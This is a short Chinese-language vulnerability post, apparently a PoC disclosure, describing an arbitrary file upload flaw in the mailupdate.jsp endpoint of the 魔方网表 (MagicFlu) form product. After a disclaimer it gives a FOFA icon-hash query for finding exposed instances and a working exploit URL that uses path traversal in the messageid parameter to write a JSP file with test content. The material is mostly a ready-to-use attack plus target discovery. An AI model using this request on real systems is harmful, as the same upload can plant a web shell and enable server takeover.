魔方网表 存在 mailupdate.jsp接口 任意文件上传漏洞

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

魔方网表mailupdate.jsp接口存在任意文件上传漏洞

资产搜索

fofa

icon_hash="694014318" 

漏洞复现

http://127.0.0.1/magicflu/html/mail/mailupdate.jsp?messageid=/../../../ceshi.jsp&messagecontent=<%25+out.println("Iamtester")%3B%25>